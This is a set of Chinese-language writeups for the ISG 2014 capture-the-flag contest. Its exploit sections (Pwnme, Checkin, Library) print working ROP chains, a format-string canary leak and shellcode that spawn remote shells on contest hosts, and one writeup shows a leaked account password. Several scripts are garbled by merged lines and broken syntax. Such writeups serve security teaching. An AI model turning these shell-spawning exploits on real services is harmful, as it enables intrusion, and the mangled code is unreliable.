ISG2014 Writeups
所有檔案打包下載:ISG.zip
Smile Web 200
php 原始碼審計
Cryptobaby Crypto 100
按照程式邏輯,把 0x403018 處的資料按 131 進位制分開成字元即可。
Pwnme Exploit 300
漏洞為很明顯的棧溢位,但沒有提供 libc,需要自行獲取 libc 中的函式地址。
在這裡我們使用 pwntools 來獲取 system 的地址,把引數寫在 data 段並最終執行。
執行 system 時有很奇怪的偏移問題這裡稍微調整了一下最後執行 system gadget 在棧上的位置。
#!python
#!/usr/bin/env python2
from zio import *
from pwn import *
@MemLeak
def leak_write(addr):
io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
l64(write_plt) + l64(main)
io.write(payload.ljust(0x100, 'A'))
ret = io.read(256)
return ret
target = './pwnme'
target = ('202.120.7.69', 34343)
poprdi = 0x400663
poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
write_got = 0x601018
write_plt = 0x400480
main = 0x4005bd
junk = 'J' * 8
data = 0x601040
read_plt = 0x4004a0
io = zio(target, print_read=False, print_write=False, timeout=100000)
elf = DynELF('./pwnme', leak_write)
system = elf.lookup('system')
log.success('system: %s' % hex(system))
io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
io.write(payload.ljust(0x100, 'A'))
io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
io.interact()
SQLMAP Misc 100
題目提供了 sqlmap 執行時的流量,按照 SQL 語句及執行結果推斷每個位元組即可。
#!python
#!/usr/bin/env python2
import sys, re
def remove(idx, sign, value):
sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256)
for i in sub:
if i in ans[idx]:
ans[idx].remove(i)
f = open(sys.argv[1]).read().strip().split('\n')
f = map(lambda x: x.split(':', 2)[1:], f)
ans = [set(xrange(256)) for _ in xrange(40)]
for x in f:
sql = x[0]
mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql)
if mo:
idx, sign, v = mo.groups()
idx = int(idx)
v = int(v)
#print idx, sign, v
if len(x[1].strip()) == 0:
remove(idx, sign, v)
else:
if sign == '<':
remove(idx, '>', v - 1)
else:
remove(idx, '<', v + 1)
for i in xrange(len(ans)):
if len(ans[i]) == 1:
sys.stdout.write(chr(list(ans[i])[0]))
print
###WANGRANGE Reverse 100
逆向發現,輸出只和所有輸入字元的 XOR 結果和字元長度有關,要構造“ISG{”開頭的輸出,首先 解出 4 個關鍵的數,然後依次生成完整的輸出字串。
#!python
#!/usr/bin/env python2
dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'}
for i in xrange(10):
dict_[chr(ord('A') + i)] = str(i)
def calc(num, s):
ss = ''
count = 0
for i in xrange(len(s)):
ss += dict_[s[i]]
if s[i] == ' ':
count += 1
if ss[0] in '0123456789'
ss = str(num) + '+' + ss
else:
ss = str(num) + ss
ss = count * 2 * '(' + ss
return ss
exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read()
data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
i=0
lines = []
for line in data.split('\x20\0'):
line = line.replace('\0' , '' ).strip()
if line != '':
lines.append(line)
i += 1
PREFIX = 'ISG{'
keys = {}
for i in xrange(4):
for k in xrange(256):
if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
keys[i] = k

flag = ''
for i in xrange(len(lines)):
c = chr(eval(calc(keys[i % 4], lines[i])) % 256)
flag += c
print ' % flag
哼!Misc 200
發現附件中有兩張圖片,分別另存為 bmp 後做 diff 發現左下角處的畫素不同,其中一張固定為 0 或 1。把不同部分的 01 串提取出來按 8bit 組成一個位元組即為 flag。
Chopper Misc 100
把流量中下載 x.tar.gz 部分提取出來解壓即為 flag。
RSA SYSTEM Crypto 250
使用選擇密文攻擊的方法即可。
#!python
#!/usr/bin/env python2
from zio import *
import fractions
def encrypt(x):
io.read_until('Command:\n')
io.writeline('1')
io.read_until('Input Plaintext:\n')
io.writeline(str(x))
io.read_until('Your ciphertext:\n')
return int(io.readline())
def secret():
io.read_until('Command:\n')
io.writeline('3')
io.read_until('I have no bug\n')
return int(io.readline())
def decrypt(x):
io.read_until('Command:\n')
io.writeline('2')
io.read_until('Input Ciphertext:\n')
io.writeline(str(x))
io.read_until('Your plaintext:\n')
return int(io.readline())
HOST = '202.120.7.71'
PORT = 43434
io = zio((HOST, PORT))
t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
ans = secret() * encrypt(2) % n
ans = decrypt(ans)
print hex(ans / 2)[2:-1].decode('hex')
Find Shell Web 200
windows + apache2 短檔名,上傳任意檔案後用檔名 md5 的前 6 位加上~1 即可訪問到上傳 的東西,內容即是 FLAG。
Track4! Reverse 200
先透過逆向大致看懂程式邏輯,考慮到 FLAG 包含 ISG{},可以從 trace 中定位到 00401178 處含 有 flag。把第 8,16,24,...次執行到該語句時的字元拼起來即為 flag。
X-Area Web 300
首先是社工部分,可以找到 [email protected] 的密碼洩露過,是 zasada911,但很想吐 槽的是為啥這個密碼是 zasada。。。。
進去之後就是簡單的 php 原始碼審計,需要跑一個 hash,然後解碼:
AFERE Misc 200
使用這個工具解壓 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering
驗證演算法為 DES+base64 的簡單替換,寫指令碼求解即可。
#!python
#!/usr/bin/env python2
from base64 import b64decode
from Crypto.Cipher import DES
base64_chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
chars ='S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
dict_ = {}
for i in xrange(len(chars)):
dict_[chars[i]] = base64_chars[i]
ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
new_ciphertext = ''
for c in ciphertext:
new_ciphertext += dict_[c][/c]
ciphertext = b64decode(new_ciphertext)
key = 'Mem3d4Da'
des = DES.new(key, DES.MODE_ECB)
flag = des.decrypt(ciphertext)
print ' % flag : s%' % flag
###Checkin Exploit 200
除錯發現,在溢位函式的返回點上,輸入字串的結尾 8 位元組儲存在了 rbp 中,因此在這裡儲存 上/bin/sh,再構造 shellcode 即可。
#!python
#!/usr/bin/env python2
from zio import *
# shellcode(rbp => '/bin//sh'):
#a: 99 cltd
#b: 89 de mov %ebx,%esi
#d: 53 push %rbx
#e: 55 push %rbp
#f: 48 89 e7 mov %rsp,%rdi
#12: 6a 3b pushq $0x3b
#14: 58 pop %rax
#15: 0f 05 syscall
call_rax = 0x40070d
shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'
host = '202.120.7.73'
port = 44445
io = zio((host, port))
payload = shellcode + l64(call_rax)[:6]
io.write(payload)
io.interact()
GIF Misc 50
GIF 第二幀為一二維碼,內容即為 flag。
丫丫 Crypto 400
流量中包含了 7 組公鑰和密文。考慮到 e=3,使用 Håstad's Broadcast Attack 方法,可使用中國剩餘定理對原文求解。發現 7 組原文並不完全相同,從中列舉 3 個嘗試解密最終獲得 flag。
#!python
#!/usr/bin/env python2
from operator import mod, mul, sub, add
import re, os, collections, sys
import fractions
import itertools
def eea(a,b):
"""Extended Euclidean Algorithm for GCD"""
v1 = [a,1,0]
v2 = [b,0,1]
while v2[0]<>0:
p = v1[0]//v2[0] # floor division
v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2
return v1
def inverse(m,k):
"""
Return b such that b*m mod k = 1, or 0 if no solution
"""
v = eea(m,k)
return (v[0]==1)*(v[1] % k)
def crt(ms, _as):
"""
Chinese Remainder Theorem:
ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
(ai is 'each in as', mi 'each in ms')
The solution for x modulo M (M = product of ms) will be:
x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
"""
M = reduce(mul,ms) # multiply ms together
Ms=[M/miformiinms] #listofallM/mi
ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea
return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M
def find_invpow(x,n):
"""Finds the integer component of the n'th root of x,
an integer such that y ** n
"""
high = 1
while high ** n < x:
high *= 2
low = high/2
while low < high:
mid = (low + high) // 2
if low < mid and mid**n < x:
low = mid
elif high > mid and mid**n > x:
high = mid
else:
return mid
return mid + 1

div = []
rem = []
dic = collections.defaultdict(dict)
base_dir = sys.argv[1]
for i in os.listdir(base_dir):
if re.search('getEncryptionKey.*\.php', i):
f = open(base_dir + '/' + i).read()
n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups()
dic[rkey]['n'] = int(n, 16)
if re.search('login.*\.php', i):
f = open(base_dir + '/' + i).read()
c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups()
dic[rkey]['c'] = int(c, 16)
for rkey in itertools.combinations(dic, 3):
div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
cube = crt(div, rem)
for i in xrange(3):
assert cube % div[i] == rem[i]
x = find_invpow(cube, 3)
if x ** 3 != cube:
continue
print hex(x)[3:-1].decode('hex')
BT Reverse 350
#!python
#!/usr/bin/env python2
s="g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]
class Node: pass
def construct(it):
character = next(it)
if character != ' ':
node = Node()
node.character = character
node.left = construct(it)
node.right = construct(it)
return node
it = iter(s)

root = construct(it)
assert len(list(it)) == 0
lookup = {}
def traverse(node, depth, num):
lookup[num] = node.character
depth += 1
if node.left:
traverse(node.left, depth, num + 48 * depth)
if node.right:
traverse(node.right, depth, num + 49 * depth)
traverse(root, depth=0, num=0)
print ''.join(lookup[x] for x in msg)
###Out of Space Misc 200
對.net 程式分析可知需要計算’ISG’* 0xfa00000000 的 sha1。於是寫程式計算即可。需要注意.net 中的格式輸出問題。
#!cpp
#include <openssl/sha.h>
#include <cstdio>
#include <cstring>
int main() {
SHA_CTX c;
SHA1_Init(&c);
static const long BUF_SIZE = 3 << 10;
char buf[BUF_SIZE];
for (int i = 0; i < BUF_SIZE; i += 3)
memcpy(buf + i, "ISG", 3);
long dest = 0xfa00000000L;
long total = dest / (BUF_SIZE / 3);
for (long i = 0; i < total; ++i) {
SHA1_Update(&c, buf, BUF_SIZE);
if (i % 0x100000 == 0)
printf("%ld / %ld\n", i, total);
}
unsigned char ans[SHA_DIGEST_LENGTH];
SHA1_Final(ans, &c);
printf("ISG{");
printf("%02x", ans[0]);
for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
printf("-%02x", ans[i]);
printf("}\n");
return 0;
}

Library Exploit 250
在 register 功能中只能輸入 15 位元組長度來觸發格式化字串漏洞,且%字元數量有限,因此考慮 用格式化字串漏洞洩露出 stack canary,並將某關鍵計數改大,然後再利用 query 功能中的棧 溢位來獲取 shell。
#!python
#!/usr/bin/env python2
from zio import *
target = ('202.120.7.68', 23333)
io = zio(target, print_read=False, print_write=False)
count_addr = 0x804b008
io.read_until('4. Quit\n')
io.write('1\n')
payload = l32(count_addr + 3) + '%35$p%10$hn\n'
io.write(payload)
io.read_until('0x')
canary = io.read(8).decode('hex')[::-1]
print '[+] canary : %s' % canary.encode('hex')
io.read_until('4. Quit\n')
put_plt = 0x8048520
printf_got = 0x804afc8
read_plt = 0x80484d0
junk = 'JJJJ'
popret = 0x8048c3f
pop3ret = 0x8048c3d
new_stack = 0x804bf30
leave_ret = 0x8048aa6
io.write('2\n')
payload = 'A' * 0x100 + canary + 'A' * 12
payload += l32(put_plt) + l32(popret) + l32(printf_got)
payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
payload += l32(popret) + l32(new_stack) + l32(leave_ret)
payload += '\n'
io.write(payload)
io.read_until(':\'(\n')
printf = l32(io.read(4))
print '[+] printf : %s' % hex(printf)
system = printf - 0x4d1f0 + 0x40100
binsh = printf - 0x4d1f0 + 0x161304
print '[+] system : %s' % hex(system)
print '[+] binsh : %s' % hex(binsh)
payload = junk + l32(system) + junk + l32(binsh)
io.write(payload.ljust(32, 'A'))
io.interact()
Safesite Web 400
Up-to-Date Web 100
bash 漏洞,flag 在/var/www 下 
相關文章
- 2024 強網杯逆向 Writeups2024-11-03